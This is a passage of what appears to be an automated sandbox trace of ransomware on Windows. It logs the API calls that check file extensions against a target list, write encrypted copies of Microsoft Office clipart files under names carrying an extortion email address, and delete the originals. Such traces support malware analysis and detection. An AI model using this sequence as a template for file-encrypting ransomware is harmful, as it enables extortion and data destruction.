(lpString=".pdf") returned 4 [0153.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.173] lstrlenW (lpString=".xls") returned 4 [0153.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.174] lstrlenW (lpString=".xlsx") returned 5 [0153.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.174] lstrlenW (lpString=".ppt") returned 4 [0153.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.174] lstrlenW (lpString=".zip") returned 4 [0153.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.174] lstrlenW (lpString=".rar") returned 4 [0153.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString=".bz2") returned 4 [0153.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString=".7z") returned 3 [0153.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.174] lstrlenW (lpString=".dbf") returned 4 [0153.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.174] lstrlenW (lpString=".1cd") returned 4 [0153.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.174] lstrlenW (lpString=".jpg") returned 4 [0153.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.175] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.175] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.176] GetLastError () returned 0x0 [0153.176] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0153.178] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0153.179] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.179] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.179] SetEndOfFile (hFile=0x1098) returned 1 [0153.179] CloseHandle (hObject=0x1098) returned 1 [0153.183] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.184] SetEndOfFile (hFile=0x1084) returned 1 [0153.185] CloseHandle (hObject=0x1084) returned 1 [0153.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.186] lstrlenW (lpString=".doc") returned 4 [0153.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString=".docx") returned 5 [0153.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.186] lstrlenW (lpString=".pdf") returned 4 [0153.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString=".xls") returned 4 [0153.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.186] lstrlenW (lpString=".xlsx") returned 5 [0153.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.186] lstrlenW (lpString=".ppt") returned 4 [0153.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.186] lstrlenW (lpString=".zip") returned 4 [0153.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.186] lstrlenW (lpString=".rar") returned 4 [0153.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString=".bz2") returned 4 [0153.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString=".7z") returned 3 [0153.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.186] lstrlenW (lpString=".dbf") returned 4 [0153.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.187] lstrlenW (lpString=".1cd") returned 4 [0153.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0153.187] lstrlenW (lpString=".jpg") returned 4 [0153.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.188] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.188] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.189] GetLastError () returned 0x0 [0153.189] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x2244, lpOverlapped=0x0) returned 1 [0153.220] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x2250, lpOverlapped=0x0) returned 1 [0153.222] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.222] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.222] SetEndOfFile (hFile=0x1098) returned 1 [0153.222] CloseHandle (hObject=0x1098) returned 1 [0153.225] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.225] SetEndOfFile (hFile=0x1084) returned 1 [0153.226] CloseHandle (hObject=0x1084) returned 1 [0153.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0153.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.228] lstrlenW (lpString=".doc") returned 4 [0153.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString=".docx") returned 5 [0153.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.228] lstrlenW (lpString=".pdf") returned 4 [0153.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString=".xls") returned 4 [0153.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.228] lstrlenW (lpString=".xlsx") returned 5 [0153.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.228] lstrlenW (lpString=".ppt") returned 4 [0153.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.228] lstrlenW (lpString=".zip") returned 4 [0153.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.228] lstrlenW (lpString=".rar") returned 4 [0153.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString=".bz2") returned 4 [0153.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString=".7z") returned 3 [0153.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.228] lstrlenW (lpString=".dbf") returned 4 [0153.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.228] lstrlenW (lpString=".1cd") returned 4 [0153.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0153.228] lstrlenW (lpString=".jpg") returned 4 [0153.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.229] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.229] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.233] GetLastError () returned 0x0 [0153.233] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x3896, lpOverlapped=0x0) returned 1 [0153.284] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0153.285] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.285] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.286] SetEndOfFile (hFile=0x1098) returned 1 [0153.286] CloseHandle (hObject=0x1098) returned 1 [0153.289] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.289] SetEndOfFile (hFile=0x1084) returned 1 [0153.290] CloseHandle (hObject=0x1084) returned 1 [0153.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.292] lstrlenW (lpString=".doc") returned 4 [0153.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".docx") returned 5 [0153.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.292] lstrlenW (lpString=".pdf") returned 4 [0153.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".xls") returned 4 [0153.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.292] lstrlenW (lpString=".xlsx") returned 5 [0153.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.292] lstrlenW (lpString=".ppt") returned 4 [0153.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.292] lstrlenW (lpString=".zip") returned 4 [0153.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.292] lstrlenW (lpString=".rar") returned 4 [0153.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".bz2") returned 4 [0153.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.292] lstrlenW (lpString=".7z") returned 3 [0153.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.293] lstrlenW (lpString=".dbf") returned 4 [0153.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.293] lstrlenW (lpString=".1cd") returned 4 [0153.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0153.293] lstrlenW (lpString=".jpg") returned 4 [0153.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.294] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.294] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.294] GetLastError () returned 0x0 [0153.294] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4780, lpOverlapped=0x0) returned 1 [0153.311] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4790, lpOverlapped=0x0) returned 1 [0153.312] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.313] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.313] SetEndOfFile (hFile=0x1098) returned 1 [0153.313] CloseHandle (hObject=0x1098) returned 1 [0153.320] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.320] SetEndOfFile (hFile=0x1084) returned 1 [0153.321] CloseHandle (hObject=0x1084) returned 1 [0153.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0153.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.322] lstrlenW (lpString=".doc") returned 4 [0153.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.322] lstrlenW (lpString=".docx") returned 5 [0153.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.322] lstrlenW (lpString=".pdf") returned 4 [0153.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.322] lstrlenW (lpString=".xls") returned 4 [0153.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.323] lstrlenW (lpString=".xlsx") returned 5 [0153.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.323] lstrlenW (lpString=".ppt") returned 4 [0153.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.323] lstrlenW (lpString=".zip") returned 4 [0153.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.323] lstrlenW (lpString=".rar") returned 4 [0153.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.323] lstrlenW (lpString=".bz2") returned 4 [0153.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.323] lstrlenW (lpString=".7z") returned 3 [0153.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.323] lstrlenW (lpString=".dbf") returned 4 [0153.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.323] lstrlenW (lpString=".1cd") returned 4 [0153.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0153.323] lstrlenW (lpString=".jpg") returned 4 [0153.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.324] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.324] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.325] GetLastError () returned 0x0 [0153.325] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0153.331] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0153.333] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.333] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.333] SetEndOfFile (hFile=0x1098) returned 1 [0153.333] CloseHandle (hObject=0x1098) returned 1 [0154.003] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.004] SetEndOfFile (hFile=0x1084) returned 1 [0154.006] CloseHandle (hObject=0x1084) returned 1 [0154.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0154.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.008] lstrlenW (lpString=".doc") returned 4 [0154.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString=".docx") returned 5 [0154.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.008] lstrlenW (lpString=".pdf") returned 4 [0154.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString=".xls") returned 4 [0154.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.008] lstrlenW (lpString=".xlsx") returned 5 [0154.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.008] lstrlenW (lpString=".ppt") returned 4 [0154.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.008] lstrlenW (lpString=".zip") returned 4 [0154.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.008] lstrlenW (lpString=".rar") returned 4 [0154.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString=".bz2") returned 4 [0154.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString=".7z") returned 3 [0154.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.008] lstrlenW (lpString=".dbf") returned 4 [0154.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.008] lstrlenW (lpString=".1cd") returned 4 [0154.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0154.009] lstrlenW (lpString=".jpg") returned 4 [0154.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.009] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.009] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, 